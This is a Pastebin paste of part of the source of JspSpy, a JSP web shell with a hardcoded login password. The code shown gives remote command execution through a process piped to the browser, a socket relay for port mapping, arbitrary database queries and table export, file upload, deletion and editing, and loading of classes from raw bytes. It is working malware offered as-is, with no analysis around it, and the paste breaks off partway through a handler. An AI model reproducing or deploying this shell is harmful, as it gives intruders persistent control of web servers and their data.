Advertisement
Guest User

Untitled

a guest
Nov 17th, 2016
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 121.21 KB | None | 0 0
  1. <%@page pageEncoding="utf-8"%>
  2. <%@page import="java.io.*"%>
  3. <%@page import="java.util.*"%>
  4. <%@page import="java.util.regex.*"%>
  5. <%@page import="java.sql.*"%>
  6. <%@page import="java.lang.reflect.*"%>
  7. <%@page import="java.nio.charset.*"%>
  8. <%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
  9. <%@page import="java.text.*"%>
  10. <%@page import="java.net.*"%>
  11. <%@page import="java.util.zip.*"%>
  12. <%@page import="java.util.jar.*"%>
  13. <%@page import="java.awt.*"%>
  14. <%@page import="java.awt.image.*"%>
  15. <%@page import="javax.imageio.*"%>
  16. <%@page import="java.awt.datatransfer.DataFlavor"%>
  17. <%@page import="java.util.prefs.Preferences"%>
  18. <%!
  19. /**
  20. * by n1nty
  21. * CY . I Love You.
  22. */
  23. private static final String PW = "asd"; //password
  24. private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
  25. private static final String REQUEST_CHARSET = "ISO-8859-1";
  26. private static final String PAGE_CHARSET = "gbk";
  27. private static final String CURRENT_DIR = "currentdir";
  28. private static final String MSG = "SHOWMSG";
  29. private static final String PORT_MAP = "PMSA";
  30. private static final String DBO = "DBO";
  31. private static final String SHELL_ONLINE = "SHELL_ONLINE";
  32. private static final String ENTER = "ENTER_FILE";
  33. private static final String ENTER_MSG = "ENTER_FILE_MSG";
  34. private static final String ENTER_CURRENT_DIR = "ENTER_CURRENT_DIR";
  35. private static final String SESSION_O = "SESSION_O";
  36. private static String SHELL_NAME = "";
  37. private static String WEB_ROOT = null;
  38. private static String SHELL_DIR = null;
  39. public static Map ins = new HashMap();
  40. private static boolean ISLINUX = false;
  41.  
  42. private static final String MODIFIED_ERROR = "JspSpy Was Modified By Some Other Applications. Please Logout.";
  43. private static final String BACK_HREF = " <a href='javascript:history.back()'>Back</a>";
  44.  
  45. private static class MyRequest extends HttpServletRequestWrapper {
  46. public MyRequest(HttpServletRequest req) {
  47. super(req);
  48. }
  49. public String getParameter(String name) {
  50. try {
  51. String value = super.getParameter(name);
  52. if (name == null)
  53. return null;
  54. return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
  55. } catch (Exception e) {
  56. return null;
  57. }
  58. }
  59. }
  60. private static class SpyClassLoader extends ClassLoader{
  61. public SpyClassLoader() {
  62. }
  63. public Class defineClass(String name,byte[] b) {
  64. return super.defineClass(name,b,0,b.length - 2);
  65. }
  66. }
  67. private static class DBOperator{
  68. private Connection conn = null;
  69. private Statement stmt = null;
  70. private String driver;
  71. private String url;
  72. private String uid;
  73. private String pwd;
  74. public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
  75. this(driver,url,uid,pwd,false);
  76. }
  77. public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
  78. Class.forName(driver);
  79. if (connect)
  80. this.conn = DriverManager.getConnection(url,uid,pwd);
  81. this.url = url;
  82. this.driver = driver;
  83. this.uid = uid;
  84. this.pwd = pwd;
  85. }
  86. public void connect() throws Exception{
  87. this.conn = DriverManager.getConnection(url,uid,pwd);
  88. }
  89. public Object execute(String sql) throws Exception {
  90. if (isValid()) {
  91. stmt = conn.createStatement();
  92. if (stmt.execute(sql)) {
  93. return stmt.getResultSet();
  94. } else {
  95. return ""+stmt.getUpdateCount();
  96. }
  97. }
  98. throw new Exception("Connection is inValid.");
  99. }
  100. public void closeStmt() throws Exception{
  101. if (this.stmt != null)
  102. stmt.close();
  103. }
  104. public boolean isValid() throws Exception {
  105. return conn != null && !conn.isClosed();
  106. }
  107. public void close() throws Exception {
  108. if (isValid()) {
  109. closeStmt();
  110. conn.close();
  111. }
  112. }
  113. public boolean equals(Object o) {
  114. if (o instanceof DBOperator) {
  115. DBOperator dbo = (DBOperator)o;
  116. return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
  117. }
  118. return false;
  119. }
  120. public Connection getConn(){
  121. return this.conn;
  122. }
  123. }
  124. private static class StreamConnector extends Thread {
  125. private InputStream is;
  126. private OutputStream os;
  127. public StreamConnector( InputStream is, OutputStream os ){
  128. this.is = is;
  129. this.os = os;
  130. }
  131. public void run(){
  132. BufferedReader in = null;
  133. BufferedWriter out = null;
  134. try{
  135. in = new BufferedReader( new InputStreamReader(this.is));
  136. out = new BufferedWriter( new OutputStreamWriter(this.os));
  137. char buffer[] = new char[8192];
  138. int length;
  139. while((length = in.read( buffer, 0, buffer.length ))>0){
  140. out.write( buffer, 0, length );
  141. out.flush();
  142. }
  143. } catch(Exception e){}
  144. try{
  145. if(in != null)
  146. in.close();
  147. if(out != null)
  148. out.close();
  149. } catch( Exception e ){}
  150. }
  151. public static void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
  152. new Thread(new Runnable(){
  153. public void run(){
  154. while (true) {
  155. try{
  156. byte[] data = new byte[100];
  157. int len = localIn.read(data);
  158. while (len != -1) {
  159. remoteOut.write(data,0,len);
  160. len = localIn.read(data);
  161. }
  162. }catch (Exception e) {
  163. break;
  164. }
  165. }
  166. }
  167. }).start();
  168. }
  169. public static void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
  170. new Thread(new Runnable(){
  171. public void run(){
  172. while(true) {
  173. try{
  174. byte[] data = new byte[100];
  175. int len = remoteIn.read(data);
  176. while (len != -1) {
  177. localOut.write(data,0,len);
  178. len = remoteIn.read(data);
  179. }
  180. }catch (Exception e) {
  181. try{
  182. soc.close();
  183. remoteSoc.close();
  184. }catch(Exception ex) {
  185. }
  186. break;
  187. }
  188. }
  189. }
  190. }).start();
  191. }
  192. }
  193. private static class EnterFile extends File{
  194. private ZipFile zf = null;
  195. private ZipEntry entry = null;
  196. private boolean isDirectory = false;
  197. private String absolutePath = null;
  198. public void setEntry(ZipEntry e) {
  199. this.entry = e;
  200. }
  201. public void setAbsolutePath(String p) {
  202. this.absolutePath = p;
  203. }
  204. public void close() throws Exception{
  205. this.zf.close();
  206. }
  207. public void setZf(String p) throws Exception{
  208. if (p.toLowerCase().endsWith(".jar"))
  209. this.zf = new JarFile(p);
  210. else
  211. this.zf = new ZipFile(p);
  212. }
  213. public EnterFile(File parent, String child) {
  214. super(parent,child);
  215. }
  216. public EnterFile(String pathname) {
  217. super(pathname);
  218. }
  219. public EnterFile(String pathname,boolean isDir) {
  220. this(pathname);
  221. this.isDirectory = isDir;
  222. }
  223. public EnterFile(String parent, String child) {
  224. super(parent,child);
  225. }
  226. public EnterFile(URI uri) {
  227. super(uri);
  228. }
  229. public boolean exists(){
  230. return new File(this.zf.getName()).exists();
  231. }
  232. public File[] listFiles() {
  233. java.util.List list = new ArrayList();
  234. java.util.List handled = new ArrayList();
  235. String currentDir = super.getPath();
  236. currentDir = currentDir.replace('\\','/');
  237. if (currentDir.indexOf("/") == 0)
  238. {
  239. if (currentDir.length() > 1)
  240. currentDir = currentDir.substring(1);
  241. else
  242. currentDir = "";
  243. }
  244. Enumeration e = this.zf.entries();
  245. while (e.hasMoreElements())
  246. {
  247. ZipEntry entry = (ZipEntry)e.nextElement();
  248. String eName = entry.getName();
  249. if (this.zf instanceof JarFile) {
  250. if (!entry.isDirectory()){
  251. EnterFile ef = new EnterFile(eName);
  252. ef.setEntry(entry);
  253. try{
  254. ef.setZf(this.zf.getName());
  255. }catch(Exception ex) {
  256. }
  257. list.add(ef);
  258. }
  259. } else {
  260. if (currentDir.equals("")) {
  261. //zip root directory
  262. if (eName.indexOf("/") == -1 || eName.matches("[^/]+/$"))
  263. {
  264. EnterFile ef = new EnterFile(eName.replaceAll("/",""));
  265. handled.add(eName.replaceAll("/",""));
  266. ef.setEntry(entry);
  267. list.add(ef);
  268. } else {
  269. if (eName.indexOf("/") != -1) {
  270. String tmp = eName.substring(0,eName.indexOf("/"));
  271. if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
  272. EnterFile ef = new EnterFile(tmp,true);
  273. ef.setEntry(entry);
  274. list.add(ef);
  275. handled.add(tmp);
  276. }
  277. }
  278. }
  279. } else {
  280. if (eName.startsWith(currentDir)) {
  281. if (eName.matches(currentDir+"/[^/]+/?$")) {
  282. //file.
  283. EnterFile ef = new EnterFile(eName);
  284. ef.setEntry(entry);
  285. list.add(ef);
  286. if (eName.endsWith("/")) {
  287. String tmp = eName.substring(eName.lastIndexOf('/',eName.length()-2));
  288. tmp = tmp.substring(1,tmp.length()-1);
  289. handled.add(tmp);
  290. }
  291. } else {
  292. //dir
  293. try {
  294. String tmp = eName.substring(currentDir.length()+1);
  295. tmp = tmp.substring(0,tmp.indexOf('/'));
  296. if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
  297. EnterFile ef = new EnterFile(tmp,true);
  298. ef.setAbsolutePath(currentDir+"/"+tmp);
  299. ef.setEntry(entry);
  300. list.add(ef);
  301. handled.add(tmp);
  302. }
  303. } catch (Exception ex) {
  304. }
  305. }
  306. }
  307. }
  308. }
  309. }
  310. return (File[])list.toArray(new File[0]);
  311. }
  312. public boolean isDirectory(){
  313. return this.entry.isDirectory() || this.isDirectory;
  314. }
  315. public String getParent(){
  316. return "";
  317. }
  318. public String getAbsolutePath(){
  319. return absolutePath != null ? absolutePath : super.getPath();
  320. }
  321. public String getName(){
  322. if (this.zf instanceof JarFile) {
  323. return this.getAbsolutePath();
  324. } else {
  325. return super.getName();
  326. }
  327. }
  328. public long lastModified(){
  329. return entry.getTime();
  330. }
  331. public boolean canRead(){
  332. return false;
  333. }
  334. public boolean canWrite(){
  335. return false;
  336. }
  337. public boolean canExecute(){
  338. return false;
  339. }
  340. public long length(){
  341. return entry.getSize();
  342. }
  343. }
  344. private static class OnLineProcess {
  345. private String cmd = "first";
  346. private Process pro;
  347. public OnLineProcess(Process p){
  348. this.pro = p;
  349. }
  350. public void setPro(Process p) {
  351. this.pro = p;
  352. }
  353. public void setCmd(String c){
  354. this.cmd = c;
  355. }
  356. public String getCmd(){
  357. return this.cmd;
  358. }
  359. public Process getPro(){
  360. return this.pro;
  361. }
  362. public void stop(){
  363. this.pro.destroy();
  364. }
  365. }
  366. private static class OnLineConnector extends Thread {
  367. private OnLineProcess ol = null;
  368. private InputStream is;
  369. private OutputStream os;
  370. private String name;
  371. public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
  372. this.is = is;
  373. this.os = os;
  374. this.name = name;
  375. this.ol = ol;
  376. }
  377. public void run(){
  378. BufferedReader in = null;
  379. BufferedWriter out = null;
  380. try{
  381. in = new BufferedReader( new InputStreamReader(this.is));
  382. out = new BufferedWriter( new OutputStreamWriter(this.os));
  383. char buffer[] = new char[128];
  384. if(this.name.equals("exeRclientO")) {
  385. //from exe to client
  386. int length = 0;
  387. while((length = in.read( buffer, 0, buffer.length ))>0){
  388. String str = new String(buffer, 0, length);
  389. str = str.replaceAll("&","&amp;").replaceAll("<","&lt;").replaceAll(">","&gt;");
  390. str = str.replaceAll(""+(char)13+(char)10,"<br/>");
  391. str = str.replaceAll("\n","<br/>");
  392. out.write(str.toCharArray(), 0, str.length());
  393. out.flush();
  394. }
  395. } else {
  396. //from client to exe
  397. while(true) {
  398. while(this.ol.getCmd() == null) {
  399. Thread.sleep(500);
  400. }
  401. if (this.ol.getCmd().equals("first")) {
  402. this.ol.setCmd(null);
  403. continue;
  404. }
  405. this.ol.setCmd(this.ol.getCmd() + (char)10);
  406. char[] arr = this.ol.getCmd().toCharArray();
  407. out.write(arr,0,arr.length);
  408. out.flush();
  409. this.ol.setCmd(null);
  410. }
  411. }
  412. } catch(Exception e){
  413. }
  414. try{
  415. if(in != null)
  416. in.close();
  417. if(out != null)
  418. out.close();
  419. } catch( Exception e ){
  420. }
  421. }
  422. }
  423. private static class Table{
  424. private ArrayList rows = null;
  425. private boolean echoTableTag = false;
  426. public void setEchoTableTag(boolean v) {
  427. this.echoTableTag = v;
  428. }
  429. public Table(){
  430. this.rows = new ArrayList();
  431. }
  432. public void addRow(Row r) {
  433. this.rows.add(r);
  434. }
  435. public String toString(){
  436. StringBuffer html = new StringBuffer();
  437. if (echoTableTag)
  438. html.append("<table>");
  439. for (int i = 0;i<rows.size();i++) {
  440. Row r=(Row)rows.get(i);
  441. html.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
  442. ArrayList columns = r.getColumns();
  443. for (int a = 0;a<columns.size();a++) {
  444. Column c = (Column)columns.get(a);
  445. html.append("<td nowrap>");
  446. String vv = Util.htmlEncode(Util.getStr(c.getValue()));
  447. if (vv.equals(""))
  448. vv = "&nbsp;";
  449. html.append(vv);
  450. html.append("</td>");
  451. }
  452. html.append("</tr>");
  453. }
  454. if (echoTableTag)
  455. html.append("</table>");
  456. return html.toString();
  457. }
  458. public static String rs2Table(ResultSet rs,String sep,boolean op) throws Exception{
  459. StringBuffer table = new StringBuffer();
  460. ResultSetMetaData meta = rs.getMetaData();
  461. int count = meta.getColumnCount();
  462. if (!op)
  463. table.append("<b style='color:red;margin-left:15px'><i> View Struct </i></b> - <a href=\"javascript:doPost({o:'executesql'})\">View All Tables</a><br/><br/>");
  464. else
  465. table.append("<b style='color:red;margin-left:15px'><i> All Tables </i></b><br/><br/>");
  466. table.append("<script>function view(t){document.getElementById('sql').value='select * from "+sep+"'+t+'"+sep+"';}</script>");
  467. table.append("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
  468. for (int i = 1;i<=count;i++) {
  469. table.append("<td nowrap>"+meta.getColumnName(i)+"</td>");
  470. }
  471. if (op)
  472. table.append("<td>&nbsp;</td>");
  473. table.append("</tr>");
  474. while (rs.next()) {
  475. String tbName = null;
  476. table.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
  477. for (int i = 1;i<=count;i++) {
  478. String v = rs.getString(i);
  479. if (i == 3)
  480. tbName = v;
  481. table.append("<td nowrap>"+Util.null2Nbsp(v)+"</td>");
  482. }
  483. if (op)
  484. table.append("<td nowrap> <a href=\"#\" onclick=\"view('"+tbName+"')\">View</a> | <a href=\"javascript:doPost({o:'executesql',type:'struct',table:'"+tbName+"'})\">Struct</a> | <a href=\"javascript:doPost({o:'export',table:'"+tbName+"'})\">Export </a> | <a href=\"javascript:doPost({o:'vExport',table:'"+tbName+"'})\">Save To File</a> </td>");
  485. table.append("</tr>");
  486. }
  487. table.append("</table><br/>");
  488. return table.toString();
  489. }
  490. }
  491. private static class Row{
  492. private ArrayList cols = null;
  493. public Row(){
  494. this.cols = new ArrayList();
  495. }
  496. public void addColumn(Column n) {
  497. this.cols.add(n);
  498. }
  499. public ArrayList getColumns(){
  500. return this.cols;
  501. }
  502. }
  503. private static class Column{
  504. private String value;
  505. public Column(String v){
  506. this.value = v;
  507. }
  508. public String getValue(){
  509. return this.value;
  510. }
  511. }
  512. private static class Util{
  513. public static boolean isEmpty(String s) {
  514. return s == null || s.trim().equals("");
  515. }
  516. public static boolean isEmpty(Object o) {
  517. return o == null || isEmpty(o.toString());
  518. }
  519. public static String getSize(long size,char danwei) {
  520. if (danwei == 'M') {
  521. double v = formatNumber(size / 1024.0 / 1024.0,2);
  522. if (v > 1024) {
  523. return getSize(size,'G');
  524. }else {
  525. return v + "M";
  526. }
  527. } else if (danwei == 'G') {
  528. return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
  529. } else if (danwei == 'K') {
  530. double v = formatNumber(size / 1024.0,2);
  531. if (v > 1024) {
  532. return getSize(size,'M');
  533. } else {
  534. return v + "K";
  535. }
  536. } else if (danwei == 'B') {
  537. if (size > 1024) {
  538. return getSize(size,'K');
  539. }else {
  540. return size + "B";
  541. }
  542. }
  543. return ""+0+danwei;
  544. }
  545. public static boolean exists(String[] arr,String v) {
  546. for (int i =0;i<arr.length;i++) {
  547. if (v.equals(arr[i])) {
  548. return true;
  549. }
  550. }
  551. return false;
  552. }
  553. public static double formatNumber(double value,int l) {
  554. NumberFormat format = NumberFormat.getInstance();
  555. format.setMaximumFractionDigits(l);
  556. format.setGroupingUsed(false);
  557. return new Double(format.format(value)).doubleValue();
  558. }
  559. public static boolean isInteger(String v) {
  560. if (isEmpty(v))
  561. return false;
  562. return v.matches("^\\d+$");
  563. }
  564. public static String formatDate(long time) {
  565. SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
  566. return format.format(new java.util.Date(time));
  567. }
  568. public static String convertPath(String path) {
  569. return path != null ? path.replace('\\','/') : "";
  570. }
  571. public static String htmlEncode(String v) {
  572. if (isEmpty(v))
  573. return "";
  574. return v.replaceAll("&","&amp;").replaceAll("<","&lt;").replaceAll(">","&gt;");
  575. }
  576. public static String getStr(String s) {
  577. return s == null ? "" :s;
  578. }
  579. public static String null2Nbsp(String s) {
  580. if (s == null)
  581. s = "&nbsp;";
  582. return s;
  583. }
  584. public static String getStr(Object s) {
  585. return s == null ? "" :s.toString();
  586. }
  587. public static String exec(String regex, String str, int group) {
  588. Pattern pat = Pattern.compile(regex);
  589. Matcher m = pat.matcher(str);
  590. if (m.find())
  591. return m.group(group);
  592. return null;
  593. }
  594. public static void outMsg(Writer out,String msg) throws Exception {
  595. outMsg(out,msg,"center");
  596. }
  597. public static void outMsg(Writer out,String msg,String align) throws Exception {
  598. out.write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"+align+";font-weight:bold;margin:10px\">"+msg+"</div>");
  599. }
  600. public static String highLight(String str) {
  601. str = str.replaceAll("\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b","<span style='color:blue'>$1</span>");
  602. str = str.replaceAll("\t(//.+)","\t<span style='color:green'>$1</span>");
  603. return str;
  604. }
  605. }
  606. private static class UploadBean {
  607. private String fileName = null;
  608. private String suffix = null;
  609. private String savePath = "";
  610. private ServletInputStream sis = null;
  611. private OutputStream targetOutput = null;
  612. private byte[] b = new byte[1024];
  613. public void setTargetOutput(OutputStream stream) {
  614. this.targetOutput = stream;
  615. }
  616. public UploadBean() {
  617. }
  618. public void setSavePath(String path) {
  619. this.savePath = path;
  620. }
  621. public String getFileName(){
  622. return this.fileName;
  623. }
  624. public void parseRequest(HttpServletRequest request) throws IOException {
  625. sis = request.getInputStream();
  626. int a = 0;
  627. int k = 0;
  628. String s = "";
  629. while ((a = sis.readLine(b,0,b.length))!= -1) {
  630. s = new String(b, 0, a,PAGE_CHARSET);
  631. if ((k = s.indexOf("filename=\""))!= -1) {
  632. s = s.substring(k + 10);
  633. k = s.indexOf("\"");
  634. s = s.substring(0, k);
  635. File tF = new File(s);
  636. if (tF.isAbsolute()) {
  637. fileName = tF.getName();
  638. } else {
  639. fileName = s;
  640. }
  641. k = s.lastIndexOf(".");
  642. suffix = s.substring(k + 1);
  643. upload();
  644. }
  645. }
  646. }
  647. private void upload() throws IOException{
  648. try {
  649. OutputStream out = null;
  650. if (this.targetOutput != null)
  651. out = this.targetOutput;
  652. else
  653. out = new FileOutputStream(new File(savePath,fileName));
  654. int a = 0;
  655. int k = 0;
  656. String s = "";
  657. while ((a = sis.readLine(b,0,b.length))!=-1) {
  658. s = new String(b, 0, a);
  659. if ((k = s.indexOf("Content-Type:"))!=-1) {
  660. break;
  661. }
  662. }
  663. sis.readLine(b,0,b.length);
  664. while ((a = sis.readLine(b,0,b.length)) != -1) {
  665. s = new String(b, 0, a);
  666. if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
  667. break;
  668. }
  669. out.write(b, 0, a);
  670. }
  671. if (out instanceof FileOutputStream)
  672. out.close();
  673. } catch (IOException ioe) {
  674. throw ioe;
  675. }
  676. }
  677. }
  678. %>
  679. <%
  680. SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
  681. String myAbsolutePath = application.getRealPath(request.getServletPath());
  682. if (Util.isEmpty(myAbsolutePath)) {//for weblogic
  683. SHELL_NAME = request.getServletPath();
  684. myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
  685. SHELL_NAME=request.getContextPath()+SHELL_NAME;
  686. WEB_ROOT = new File(application.getResource("/").getPath()).toString();
  687. } else {
  688. WEB_ROOT = application.getRealPath("/");
  689. }
  690. SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
  691. if (SHELL_DIR.indexOf('/') == 0)
  692. ISLINUX = true;
  693. else
  694. ISLINUX = false;
  695. if (session.getAttribute(CURRENT_DIR) == null)
  696. session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
  697. HttpServletRequest myrequest = new MyRequest(request);
  698. if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
  699. String o = myrequest.getParameter("o");
  700. if (o != null && o.equals("login")) {
  701. ((Invoker)ins.get("login")).invoke(myrequest,response,session);
  702. return;
  703. } else if (o != null && o.equals("vLogin")) {
  704. ((Invoker)ins.get("vLogin")).invoke(myrequest,response,session);
  705. return;
  706. } else {
  707. ((Invoker)ins.get("vLogin")).invoke(myrequest,response,session);
  708. return;
  709. }
  710. }
  711. %>
  712. <%!
  713. private static interface Invoker {
  714. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
  715. public boolean doBefore();
  716. public boolean doAfter();
  717. }
  718. private static class DefaultInvoker implements Invoker{
  719. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
  720. }
  721. public boolean doBefore(){
  722. return true;
  723. }
  724. public boolean doAfter() {
  725. return true;
  726. }
  727. }
  728. private static class ScriptInvoker extends DefaultInvoker{
  729. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  730. try {
  731. PrintWriter out = response.getWriter();
  732. out.println("<script type=\"text/javascript\">"+
  733. " String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"+
  734. " function fso(obj) {"+
  735. " this.currentDir = '"+JSession.getAttribute(CURRENT_DIR)+"';"+
  736. " this.filename = obj.filename;"+
  737. " this.path = obj.path;"+
  738. " this.filetype = obj.filetype;"+
  739. " this.charset = obj.charset;"+
  740. " };"+
  741. " fso.prototype = {"+
  742. " copy:function(){"+
  743. " var path = prompt('Copy To : ',this.path);"+
  744. " if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
  745. " doPost({o:'copy',src:this.path,to:path});"+
  746. " },"+
  747. " move:function() {"+
  748. " var path =prompt('Move To : ',this.path);"+
  749. " if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
  750. " doPost({o:'move',src:this.path,to:path})"+
  751. " },"+
  752. " vEdit:function() {"+
  753. " if (!this.charset)"+
  754. " doPost({o:'vEdit',filepath:this.path});"+
  755. " else"+
  756. " doPost({o:'vEdit',filepath:this.path,charset:this.charset});"+
  757. " },"+
  758. " down:function() {"+
  759. " doPost({o:'down',path:this.path})"+
  760. " },"+
  761. " removedir:function() {"+
  762. " if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;"+
  763. " doPost({o:'removedir',dir:this.path});"+
  764. " },"+
  765. " mkdir:function() {"+
  766. " var name = prompt('Input New Directory Name','');"+
  767. " if (name == null || name.trim().length == 0)return;"+
  768. " doPost({o:'mkdir',name:name});"+
  769. " },"+
  770. " subdir:function(out) {"+
  771. " doPost({o:'filelist',folder:this.path,outentry:(out || 'none')})"+
  772. " },"+
  773. " parent:function() {"+
  774. " var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"+
  775. " doPost({o:'filelist',folder:parent})"+
  776. " },"+
  777. " createFile:function() {"+
  778. " var path = prompt('Input New File Name','');"+
  779. " if (path == null || path.trim().length == 0) return;"+
  780. " doPost({o:'vCreateFile',filepath:path})"+
  781. " },"+
  782. " deleteBatch:function() {"+
  783. " if (!confirm('Are You Sure To Delete These Files?')) return;"+
  784. " var selected = new Array();"+
  785. " var inputs = document.getElementsByTagName('input');"+
  786. " for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
  787. " if (selected.length == 0) {alert('No File Selected');return;}"+
  788. " doPost({o:'deleteBatch',files:selected.join(',')})"+
  789. " },"+
  790. " packBatch:function() {"+
  791. " var selected = new Array();"+
  792. " var inputs = document.getElementsByTagName('input');"+
  793. " for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
  794. " if (selected.length == 0) {alert('No File Selected');return;}"+
  795. " var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');"+
  796. " if (savefilename == null || savefilename.trim().length == 0)return;"+
  797. " doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"+
  798. " },"+
  799. " pack:function(showconfig) {"+
  800. " if (showconfig && confirm('Need Pack Configuration?')) {doPost({o:'vPack',packedfile:this.path});return;}"+
  801. " var tmpName = '';"+
  802. " if (this.filename.indexOf('.') == -1) tmpName = this.filename;"+
  803. " else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));"+
  804. " tmpName += '.zip';"+
  805. " var path = this.path;"+
  806. " var name = prompt('Input Target File Name (Only Support Zip)',tmpName);"+
  807. " if (name == null || path.trim().length == 0) return;"+
  808. " doPost({o:'pack',packedfile:path,savefilename:name})"+
  809. " },"+
  810. " vEditProperty:function() {"+
  811. " var path = this.path;"+
  812. " doPost({o:'vEditProperty',filepath:path})"+
  813. " },"+
  814. " unpack:function() {"+
  815. " var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"+
  816. " if (path == null || path.trim().length == 0) return;"+
  817. " doPost({o:'unpack',savepath:path,zipfile:this.path})"+
  818. " },"+
  819. " enter:function() {"+
  820. " doPost({o:'enter',filepath:this.path})"+
  821. " }"+
  822. " };"+
  823. " function doPost(obj) {"+
  824. " var form = document.forms[\"doForm\"];"+
  825. " var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}"+
  826. " for (var pro in obj)"+
  827. " {"+
  828. " var input = document.createElement(\"input\");"+
  829. " input.type = \"hidden\";"+
  830. " input.name = pro;"+
  831. " input.value = obj[pro];"+
  832. " form.appendChild(input);"+
  833. " }"+
  834. " form.submit();"+
  835. " }"+
  836. "</script>");
  837.  
  838. } catch (Exception e) {
  839.  
  840. throw e ;
  841. }
  842. }
  843. }
  844. private static class BeforeInvoker extends DefaultInvoker {
  845. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  846. try {
  847. PrintWriter out = response.getWriter();
  848. out.println("<html><head><title>JspSpy Private Codz By - Ninty</title><style type=\"text/css\">"+
  849. "body,td{font: 12px Arial,Tahoma;line-height: 16px;}"+
  850. ".input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}"+
  851. ".area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}"+
  852. ".bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}"+
  853. "a {color: #00f;text-decoration:underline;}"+
  854. "a:hover{color: #f00;text-decoration:none;}"+
  855. ".alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}"+
  856. ".alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}"+
  857. ".focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}"+
  858. ".head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}"+
  859. ".head td span{font-weight:normal;}"+
  860. "form{margin:0;padding:0;}"+
  861. "h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"+
  862. "ul.info li{margin:0;color:#444;line-height:24px;height:24px;}"+
  863. "u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"+
  864. ".secho{height:400px;width:100%;overflow:auto;border:none}"+
  865. "hr{border: 1px solid rgb(221, 221, 221); height: 0px;}"+
  866. "</style></head><body style=\"margin:0;table-layout:fixed; word-break:break-all\">");
  867. } catch (Exception e) {
  868.  
  869. throw e ;
  870. }
  871. }
  872. }
  873. private static class AfterInvoker extends DefaultInvoker {
  874. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  875. try {
  876. PrintWriter out = response.getWriter();
  877. out.println("</body></html>");
  878. } catch (Exception e) {
  879.  
  880. throw e ;
  881. }
  882. }
  883. }
  884. private static class DeleteBatchInvoker extends DefaultInvoker {
  885. public boolean doBefore(){return false;}
  886. public boolean doAfter(){return false;}
  887. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  888. try {
  889. String files = request.getParameter("files");
  890. int success = 0;
  891. int failed = 0;
  892. if (!Util.isEmpty(files)) {
  893. String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
  894. String[] arr = files.split(",");
  895. for (int i = 0;i<arr.length;i++) {
  896. String fs = arr[i];
  897. File f = new File(currentDir,fs);
  898. if(f.delete())
  899. success += 1;
  900. else
  901. failed += 1;
  902. }
  903. }
  904. JSession.setAttribute(MSG,success+" Files Deleted <span style='color:green'>Success</span> , "+failed+" Files Deleted <span style='color:red'>Failed</span>!");
